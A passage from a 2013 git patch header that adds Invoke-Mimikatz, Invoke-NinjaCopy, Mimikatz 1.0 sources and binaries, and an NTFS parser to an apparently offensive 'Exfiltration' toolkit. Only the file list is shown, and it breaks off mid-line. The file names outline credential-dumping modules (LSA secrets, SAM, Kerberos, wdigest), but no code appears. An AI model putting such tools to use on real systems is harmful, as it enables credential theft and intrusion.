From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:47:05 -0700 Subject: [PATCH] Adding Invoke-Mimikatz and Invoke-Ninjacopy --- Exfiltration/Exfiltration.psd1 | 3 +- Exfiltration/Invoke-Mimikatz.ps1 | 2713 ++++++++++++++++ Exfiltration/Invoke-NinjaCopy.ps1 | 2848 +++++++++++++++++ Exfiltration/NTFSParser/NTFSParser.sln | 26 + Exfiltration/NTFSParser/NTFSParser/NTFS.h | 28 + .../NTFSParser/NTFSParser/NTFSParser.cpp | 49 + .../NTFSParser/NTFSParser/NTFSParser.vcxproj | 165 + .../NTFSParser/NTFSParser.vcxproj.filters | 51 + .../NTFSParser/NTFSParser/NTFS_Attribute.h | 1663 ++++++++++ .../NTFSParser/NTFSParser/NTFS_Common.h | 317 ++ .../NTFSParser/NTFSParser/NTFS_DataType.h | 380 +++ .../NTFSParser/NTFSParser/NTFS_FileRecord.h | 989 ++++++ Exfiltration/NTFSParser/NTFSParser/ReadMe.txt | 40 + Exfiltration/NTFSParser/NTFSParser/stdafx.cpp | 8 + Exfiltration/NTFSParser/NTFSParser/stdafx.h | 17 + .../NTFSParser/NTFSParser/targetver.h | 8 + Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h | 28 + .../NTFSParserDLL/NTFSParserDLL.cpp | 161 + .../NTFSParserDLL/NTFSParserDLL.vcxproj | 172 + .../NTFSParserDLL.vcxproj.filters | 39 + .../NTFSParser/NTFSParserDLL/NTFS_Attribute.h | 1663 ++++++++++ .../NTFSParser/NTFSParserDLL/NTFS_Common.h | 317 ++ .../NTFSParser/NTFSParserDLL/NTFS_DataType.h | 380 +++ .../NTFSParserDLL/NTFS_FileRecord.h | 989 ++++++ .../NTFSParser/NTFSParserDLL/ReadMe.txt | 48 + .../NTFSParser/NTFSParserDLL/dllmain.cpp | 36 + .../NTFSParser/NTFSParserDLL/stdafx.cpp | 8 + .../NTFSParser/NTFSParserDLL/stdafx.h | 18 + .../NTFSParser/NTFSParserDLL/targetver.h | 8 + Exfiltration/mimikatz-1.0/Win32/kappfree.dll | Bin 0 -> 34816 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.exp | Bin 0 -> 693 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.lib | Bin 0 -> 1702 bytes .../mimikatz-1.0/Win32/kelloworld.dll | Bin 0 -> 93184 bytes .../mimikatz-1.0/Win32/kelloworld.exp | Bin 0 -> 816 bytes .../mimikatz-1.0/Win32/kelloworld.lib | Bin 0 -> 1900 bytes Exfiltration/mimikatz-1.0/Win32/klock.dll | Bin 0 -> 133120 bytes Exfiltration/mimikatz-1.0/Win32/klock.exp | Bin 0 -> 1013 bytes Exfiltration/mimikatz-1.0/Win32/klock.lib | Bin 0 -> 2194 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.dll | Bin 0 -> 405504 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exe | Bin 0 -> 403456 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exp | Bin 0 -> 825 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.lib | Bin 0 -> 1908 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll | Bin 0 -> 178176 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp | Bin 0 -> 2144 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib | Bin 0 -> 4094 bytes Exfiltration/mimikatz-1.0/commun/globdefs.h | 128 + .../mimikatz-1.0/commun/icons/cmd_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/cmd_48.ico | Bin 0 -> 9662 bytes .../mimikatz-1.0/commun/icons/cmd_kiwi.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_bird.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_fruit.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_fruit_16.ico | Bin 0 -> 1150 bytes .../mimikatz-1.0/commun/icons/regedit_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/regedit_48.ico | Bin 0 -> 9662 bytes .../commun/icons/regedit_kiwi.ico | Bin 0 -> 15086 bytes .../mimikatz-1.0/commun/icons/taskmgr_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/taskmgr_48.ico | Bin 0 -> 9662 bytes .../commun/icons/taskmgr_kiwi.ico | Bin 0 -> 15086 bytes Exfiltration/mimikatz-1.0/commun/kmodel.cpp | 139 + Exfiltration/mimikatz-1.0/commun/kmodel.h | 21 + Exfiltration/mimikatz-1.0/commun/secpkg.h | 239 ++ Exfiltration/mimikatz-1.0/driver/MAKEFILE | 1 + .../mimikatz-1.0/driver/MSCV-GlobalSign.cer | 32 + Exfiltration/mimikatz-1.0/driver/SOURCES | 9 + Exfiltration/mimikatz-1.0/driver/fsfilters.c | 35 + Exfiltration/mimikatz-1.0/driver/fsfilters.h | 5 + Exfiltration/mimikatz-1.0/driver/k_types.h | 49 + Exfiltration/mimikatz-1.0/driver/mimikatz.c | 193 ++ Exfiltration/mimikatz-1.0/driver/mimikatz.h | 26 + .../mimikatz-1.0/driver/minifilters.c | 193 ++ .../mimikatz-1.0/driver/minifilters.h | 12 + Exfiltration/mimikatz-1.0/driver/mod_memory.c | 32 + Exfiltration/mimikatz-1.0/driver/mod_memory.h | 5 + Exfiltration/mimikatz-1.0/driver/modules.c | 110 + Exfiltration/mimikatz-1.0/driver/modules.h | 7 + Exfiltration/mimikatz-1.0/driver/notify.h | 19 + .../mimikatz-1.0/driver/notify_image.c | 117 + .../mimikatz-1.0/driver/notify_image.h | 10 + .../mimikatz-1.0/driver/notify_object.c | 173 + .../mimikatz-1.0/driver/notify_object.h | 79 + .../mimikatz-1.0/driver/notify_process.c | 137 + .../mimikatz-1.0/driver/notify_process.h | 12 + Exfiltration/mimikatz-1.0/driver/notify_reg.c | 137 + Exfiltration/mimikatz-1.0/driver/notify_reg.h | 17 + .../mimikatz-1.0/driver/notify_thread.c | 111 + .../mimikatz-1.0/driver/notify_thread.h | 11 + Exfiltration/mimikatz-1.0/driver/processes.c | 146 + Exfiltration/mimikatz-1.0/driver/processes.h | 33 + Exfiltration/mimikatz-1.0/driver/ssdt.c | 83 + Exfiltration/mimikatz-1.0/driver/ssdt.h | 13 + .../kappfree/Win32/CL.read.1.tlog | Bin 0 -> 13668 bytes .../kappfree/Win32/CL.write.1.tlog | Bin 0 -> 528 bytes .../kappfree/Win32/cl.command.1.tlog | Bin 0 -> 1190 bytes .../Win32/kappfree.dll.intermediate.manifest | 10 + .../kappfree/Win32/kappfree.lastbuildstate | 2 + .../mimikatz-1.0/kappfree/Win32/kappfree.res | Bin 0 -> 788 bytes .../kappfree/Win32/kappfree.write.1.tlog | 5 + .../kappfree/Win32/link-cvtres.read.1.tlog | 1 + .../kappfree/Win32/link-cvtres.write.1.tlog | 1 + .../kappfree/Win32/link.command.1.tlog | Bin 0 -> 1510 bytes .../kappfree/Win32/link.read.1.tlog | Bin 0 -> 2184 bytes .../kappfree/Win32/link.write.1.tlog | Bin 0 -> 756 bytes .../kappfree/Win32/mt.command.1.tlog | Bin 0 -> 936 bytes .../kappfree/Win32/mt.read.1.tlog | Bin 0 -> 1094 bytes .../kappfree/Win32/mt.write.1.tlog | Bin 0 -> 574 bytes .../kappfree/Win32/rc.command.1.tlog | Bin 0 -> 628 bytes .../kappfree/Win32/rc.read.1.tlog | Bin 0 -> 2522 bytes .../kappfree/Win32/rc.write.1.tlog | Bin 0 -> 354 bytes Exfiltration/mimikatz-1.0/kappfree/kappfree.c | 34 + Exfiltration/mimikatz-1.0/kappfree/kappfree.h | 9 + .../mimikatz-1.0/kappfree/kappfree.rc | Bin 0 -> 1912 bytes .../mimikatz-1.0/kappfree/kappfree.vcxproj | 119 + .../kappfree/kappfree.vcxproj.filters | 12 + .../kelloworld/Win32/CL.read.1.tlog | Bin 0 -> 97396 bytes .../kelloworld/Win32/CL.write.1.tlog | Bin 0 -> 3060 bytes .../kelloworld/Win32/cl.command.1.tlog | Bin 0 -> 4850 bytes .../kelloworld.dll.intermediate.manifest | 10 + .../Win32/kelloworld.lastbuildstate | 2 + .../kelloworld/Win32/kelloworld.res | Bin 0 -> 760 bytes .../kelloworld/Win32/kelloworld.write.1.tlog | 5 + .../kelloworld/Win32/link-cvtres.read.1.tlog | 1 + .../kelloworld/Win32/link-cvtres.write.1.tlog | 1 + .../kelloworld/Win32/link.command.1.tlog | Bin 0 -> 2332 bytes .../kelloworld/Win32/link.read.1.tlog | Bin 0 -> 3694 bytes .../kelloworld/Win32/link.write.1.tlog | Bin 0 -> 1470 bytes .../kelloworld/Win32/mt.command.1.tlog | Bin 0 -> 974 bytes .../kelloworld/Win32/mt.read.1.tlog | Bin 0 -> 1128 bytes .../kelloworld/Win32/mt.write.1.tlog | Bin 0 -> 608 bytes .../kelloworld/Win32/rc.command.1.tlog | Bin 0 -> 700 bytes .../kelloworld/Win32/rc.read.1.tlog | Bin 0 -> 2552 bytes .../kelloworld/Win32/rc.write.1.tlog | Bin 0 -> 414 bytes .../librairies/kelloworld/kelloworld.cpp | 12 + .../librairies/kelloworld/kelloworld.h | 9 + .../librairies/kelloworld/kelloworld.rc | Bin 0 -> 1886 bytes .../librairies/kelloworld/kelloworld.vcxproj | 121 + .../kelloworld/kelloworld.vcxproj.filters | 44 + .../librairies/klock/Win32/CL.read.1.tlog | Bin 0 -> 125158 bytes .../librairies/klock/Win32/CL.write.1.tlog | Bin 0 -> 3668 bytes .../librairies/klock/Win32/cl.command.1.tlog | Bin 0 -> 5964 bytes .../Win32/klock.dll.intermediate.manifest | 10 + .../klock/Win32/klock.lastbuildstate | 2 + .../librairies/klock/Win32/klock.res | Bin 0 -> 740 bytes .../librairies/klock/Win32/klock.write.1.tlog | 5 + .../klock/Win32/link-cvtres.read.1.tlog | 1 + .../klock/Win32/link-cvtres.write.1.tlog | 1 + .../klock/Win32/link.command.1.tlog | Bin 0 -> 2494 bytes .../librairies/klock/Win32/link.read.1.tlog | Bin 0 -> 4222 bytes .../librairies/klock/Win32/link.write.1.tlog | Bin 0 -> 1570 bytes .../librairies/klock/Win32/mt.command.1.tlog | Bin 0 -> 934 bytes .../librairies/klock/Win32/mt.read.1.tlog | Bin 0 -> 1098 bytes .../librairies/klock/Win32/mt.write.1.tlog | Bin 0 -> 578 bytes .../librairies/klock/Win32/rc.command.1.tlog | Bin 0 -> 630 bytes .../librairies/klock/Win32/rc.read.1.tlog | Bin 0 -> 2532 bytes .../librairies/klock/Win32/rc.write.1.tlog | Bin 0 -> 374 bytes .../mimikatz-1.0/librairies/klock/klock.cpp | 97 + .../mimikatz-1.0/librairies/klock/klock.h | 14 + .../mimikatz-1.0/librairies/klock/klock.rc | Bin 0 -> 1866 bytes .../librairies/klock/klock.vcxproj | 131 + .../librairies/klock/klock.vcxproj.filters | 53 + .../sekurlsa/Security Packages/msv1_0.cpp | 153 + .../sekurlsa/Security Packages/msv1_0.h | 16 + .../Security Packages/msv1_0_helper.cpp | 53 + .../Security Packages/msv1_0_helper.h | 28 + .../librairies/sekurlsa/Win32/CL.read.1.tlog | Bin 0 -> 365578 bytes .../librairies/sekurlsa/Win32/CL.write.1.tlog | Bin 0 -> 10972 bytes .../sekurlsa/Win32/cl.command.1.tlog | Bin 0 -> 17846 bytes .../sekurlsa/Win32/link-cvtres.read.1.tlog | 1 + .../sekurlsa/Win32/link-cvtres.write.1.tlog | 1 + .../sekurlsa/Win32/link.command.1.tlog | Bin 0 -> 4788 bytes .../sekurlsa/Win32/link.read.1.tlog | Bin 0 -> 8124 bytes .../sekurlsa/Win32/link.write.1.tlog | Bin 0 -> 3458 bytes .../sekurlsa/Win32/mt.command.1.tlog | Bin 0 -> 958 bytes .../librairies/sekurlsa/Win32/mt.read.1.tlog | Bin 0 -> 1116 bytes .../librairies/sekurlsa/Win32/mt.write.1.tlog | Bin 0 -> 596 bytes .../sekurlsa/Win32/rc.command.1.tlog | Bin 0 -> 672 bytes .../librairies/sekurlsa/Win32/rc.read.1.tlog | Bin 0 -> 2544 bytes .../librairies/sekurlsa/Win32/rc.write.1.tlog | Bin 0 -> 398 bytes .../Win32/sekurlsa.dll.intermediate.manifest | 10 + .../sekurlsa/Win32/sekurlsa.lastbuildstate | 2 + .../librairies/sekurlsa/Win32/sekurlsa.res | Bin 0 -> 752 bytes .../sekurlsa/Win32/sekurlsa.write.1.tlog | 5 + .../librairies/sekurlsa/modules/credman.cpp | 180 ++ .../librairies/sekurlsa/modules/credman.h | 19 + .../librairies/sekurlsa/modules/incognito.cpp | 88 + .../librairies/sekurlsa/modules/incognito.h | 13 + .../librairies/sekurlsa/modules/sam.cpp | 479 +++ .../librairies/sekurlsa/modules/sam.h | 210 ++ .../librairies/sekurlsa/modules/secrets.cpp | 99 + .../librairies/sekurlsa/modules/secrets.h | 29 + .../librairies/sekurlsa/sekurlsa.cpp | 86 + .../librairies/sekurlsa/sekurlsa.h | 23 + .../librairies/sekurlsa/sekurlsa.rc | Bin 0 -> 1878 bytes .../librairies/sekurlsa/sekurlsa.vcxproj | 154 + .../sekurlsa/sekurlsa.vcxproj.filters | 122 + Exfiltration/mimikatz-1.0/lisezmoi.txt | 47 + Exfiltration/mimikatz-1.0/mimikatz.sln | 85 + .../mimikatz/Win32/CL.read.1.tlog | Bin 0 -> 1366714 bytes .../mimikatz/Win32/CL.write.1.tlog | Bin 0 -> 57866 bytes .../mimikatz/Win32/cl.command.1.tlog | Bin 0 -> 62526 bytes .../mimikatz/Win32/link-cvtres.read.1.tlog | 1 + .../mimikatz/Win32/link-cvtres.write.1.tlog | 1 + .../mimikatz/Win32/link.command.1.tlog | Bin 0 -> 26804 bytes .../mimikatz/Win32/link.read.1.tlog | Bin 0 -> 44242 bytes .../mimikatz/Win32/link.write.1.tlog | Bin 0 -> 19942 bytes .../mimikatz/Win32/mimikatz.lastbuildstate | 2 + .../mimikatz-1.0/mimikatz/Win32/mimikatz.res | Bin 0 -> 61560 bytes .../mimikatz/Win32/mimikatz.write.1.tlog | 5 + .../mimikatz/Win32/rc.command.1.tlog | Bin 0 -> 628 bytes .../mimikatz/Win32/rc.read.1.tlog | Bin 0 -> 3262 bytes .../mimikatz/Win32/rc.write.1.tlog | Bin 0 -> 354 bytes Exfiltration/mimikatz-1.0/mimikatz/global.cpp | 5 + Exfiltration/mimikatz-1.0/mimikatz/global.h | 4 + Exfiltration/mimikatz-1.0/mimikatz/main.cpp | 73 + .../mimikatz-1.0/mimikatz/mimikatz.cpp | 286 ++ Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h | 57 + .../mimikatz-1.0/mimikatz/mimikatz.rc | Bin 0 -> 2528 bytes .../mimikatz-1.0/mimikatz/mimikatz.vcxproj | 228 ++ .../mimikatz/mimikatz.vcxproj.filters | 386 +++ .../mimikatz/modules/LSA Keys/keys_nt5.cpp | 76 + .../mimikatz/modules/LSA Keys/keys_nt5.h | 17 + .../mimikatz/modules/LSA Keys/keys_nt6.cpp | 186 ++ .../mimikatz/modules/LSA Keys/keys_nt6.h | 45 + .../modules/Security Packages/kerberos.cpp | 135 + .../modules/Security Packages/kerberos.h | 70 + .../modules/Security Packages/livessp.cpp | 70 + .../modules/Security Packages/livessp.h | 44 + .../modules/Security Packages/msv1_0.cpp | 217 ++ .../modules/Security Packages/msv1_0.h | 105 + .../modules/Security Packages/ssp.cpp | 92 + .../mimikatz/modules/Security Packages/ssp.h | 32 + .../modules/Security Packages/tspkg.cpp | 94 + .../modules/Security Packages/tspkg.h | 37 + .../modules/Security Packages/wdigest.cpp | 91 + .../modules/Security Packages/wdigest.h | 29 + .../mimikatz/modules/mod_mimikatz_crypto.cpp | 594 ++++ .../mimikatz/modules/mod_mimikatz_crypto.h | 36 + .../mimikatz/modules/mod_mimikatz_divers.cpp | 306 ++ .../mimikatz/modules/mod_mimikatz_divers.h | 30 + .../mimikatz/modules/mod_mimikatz_efs.cpp | 300 ++ .../mimikatz/modules/mod_mimikatz_efs.h | 133 + .../mimikatz/modules/mod_mimikatz_handle.cpp | 301 ++ .../mimikatz/modules/mod_mimikatz_handle.h | 23 + .../mimikatz/modules/mod_mimikatz_hash.cpp | 43 + .../mimikatz/modules/mod_mimikatz_hash.h | 18 + .../modules/mod_mimikatz_impersonate.cpp | 25 + .../modules/mod_mimikatz_impersonate.h | 19 + .../mimikatz/modules/mod_mimikatz_inject.cpp | 120 + .../mimikatz/modules/mod_mimikatz_inject.h | 33 + .../modules/mod_mimikatz_minesweeper.cpp | 140 + .../modules/mod_mimikatz_minesweeper.h | 72 + .../mimikatz/modules/mod_mimikatz_nogpo.cpp | 210 ++ .../mimikatz/modules/mod_mimikatz_nogpo.h | 30 + .../modules/mod_mimikatz_privilege.cpp | 167 + .../mimikatz/modules/mod_mimikatz_privilege.h | 33 + .../mimikatz/modules/mod_mimikatz_process.cpp | 298 ++ .../mimikatz/modules/mod_mimikatz_process.h | 32 + .../mimikatz/modules/mod_mimikatz_samdump.cpp | 353 ++ .../mimikatz/modules/mod_mimikatz_samdump.h | 34 + .../modules/mod_mimikatz_sekurlsa.cpp | 348 ++ .../mimikatz/modules/mod_mimikatz_sekurlsa.h | 64 + .../mimikatz/modules/mod_mimikatz_service.cpp | 191 ++ .../mimikatz/modules/mod_mimikatz_service.h | 34 + .../modules/mod_mimikatz_standard.cpp | 77 + .../mimikatz/modules/mod_mimikatz_standard.h | 23 + .../mimikatz/modules/mod_mimikatz_system.cpp | 40 + .../mimikatz/modules/mod_mimikatz_system.h | 17 + .../modules/mod_mimikatz_terminalserver.cpp | 291 ++ .../modules/mod_mimikatz_terminalserver.h | 55 + .../mimikatz/modules/mod_mimikatz_thread.cpp | 138 + .../mimikatz/modules/mod_mimikatz_thread.h | 27 + .../mimikatz/modules/mod_mimikatz_winmine.cpp | 162 + .../mimikatz/modules/mod_mimikatz_winmine.h | 45 + .../mimikatz-1.0/modules/mod_crypto.cpp | 240 ++ .../mimikatz-1.0/modules/mod_crypto.h | 60 + .../mimikatz-1.0/modules/mod_cryptoapi.cpp | 138 + .../mimikatz-1.0/modules/mod_cryptoapi.h | 26 + .../mimikatz-1.0/modules/mod_cryptong.cpp | 143 + .../mimikatz-1.0/modules/mod_cryptong.h | 24 + .../mimikatz-1.0/modules/mod_hash.cpp | 150 + Exfiltration/mimikatz-1.0/modules/mod_hash.h | 81 + .../mimikatz-1.0/modules/mod_hive.cpp | 242 ++ Exfiltration/mimikatz-1.0/modules/mod_hive.h | 88 + .../mimikatz-1.0/modules/mod_inject.cpp | 72 + .../mimikatz-1.0/modules/mod_inject.h | 19 + .../mimikatz-1.0/modules/mod_memory.cpp | 140 + .../mimikatz-1.0/modules/mod_memory.h | 22 + .../mimikatz-1.0/modules/mod_minidump.cpp | 163 + .../mimikatz-1.0/modules/mod_minidump.h | 33 + Exfiltration/mimikatz-1.0/modules/mod_ntddk.h | 322 ++ .../mimikatz-1.0/modules/mod_parseur.cpp | 38 + .../mimikatz-1.0/modules/mod_parseur.h | 15 + .../mimikatz-1.0/modules/mod_patch.cpp | 146 + Exfiltration/mimikatz-1.0/modules/mod_patch.h | 57 + .../mimikatz-1.0/modules/mod_pipe.cpp | 121 + Exfiltration/mimikatz-1.0/modules/mod_pipe.h | 29 + .../mimikatz-1.0/modules/mod_privilege.cpp | 95 + .../mimikatz-1.0/modules/mod_privilege.h | 18 + .../mimikatz-1.0/modules/mod_process.cpp | 473 +++ .../mimikatz-1.0/modules/mod_process.h | 84 + .../mimikatz-1.0/modules/mod_secacl.cpp | 162 + .../mimikatz-1.0/modules/mod_secacl.h | 24 + .../mimikatz-1.0/modules/mod_service.cpp | 142 + .../mimikatz-1.0/modules/mod_service.h | 38 + .../mimikatz-1.0/modules/mod_system.cpp | 208 ++ .../mimikatz-1.0/modules/mod_system.h | 34 + .../mimikatz-1.0/modules/mod_text.cpp | 101 + Exfiltration/mimikatz-1.0/modules/mod_text.h | 31 + .../mimikatz-1.0/modules/mod_thread.cpp | 77 + .../mimikatz-1.0/modules/mod_thread.h | 19 + Exfiltration/mimikatz-1.0/modules/mod_ts.cpp | 106 + Exfiltration/mimikatz-1.0/modules/mod_ts.h | 35 + .../mimikatz-1.0/modules/mod_windows.cpp | 26 + .../mimikatz-1.0/modules/mod_windows.h | 22 + .../modules/mod_winsta_desktop.cpp | 29 + .../mimikatz-1.0/modules/mod_winsta_desktop.h | 18 + Exfiltration/mimikatz-1.0/tools/PsExec.exe | Bin 0 -> 381816 bytes Exfiltration/mimikatz-1.0/tools/tee.exe | Bin 0 -> 16896 bytes Exfiltration/mimikatz-1.0/tools/winmine.exe | Bin 0 -> 119808 bytes 318 files changed, 29481 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Invoke-Mimikatz.ps1 create mode 100644 Exfiltration/Invoke-NinjaCopy.ps1 create mode 100644 Exfiltration/NTFSParser/NTFSParser.sln create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/ReadMe.txt create mode 100644 Exfiltration/NTFSParser/NTFSParser/stdafx.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParser/stdafx.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/targetver.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/targetver.h create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exe create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib create mode 100644 Exfiltration/mimikatz-1.0/commun/globdefs.h create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.cpp create mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.h create mode 100644 Exfiltration/mimikatz-1.0/commun/secpkg.h create mode 100644 Exfiltration/mimikatz-1.0/driver/MAKEFILE create mode 100644 Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer create mode 100644 Exfiltration/mimikatz-1.0/driver/SOURCES create mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.c create mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.h create mode 100644 Exfiltration/mimikatz-1.0/driver/k_types.h create mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.c create mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.h create mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.c create mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.h create mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.c create mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.h create mode 100644 Exfiltration/mimikatz-1.0/driver/modules.c create mode 100644 Exfiltration/mimikatz-1.0/driver/modules.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.h create mode 100644 Exfiltration/mimikatz-1.0/driver/processes.c create mode 100644 Exfiltration/mimikatz-1.0/driver/processes.h create mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.c create mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.h create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.c create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.h create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.rc create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res create mode 100644 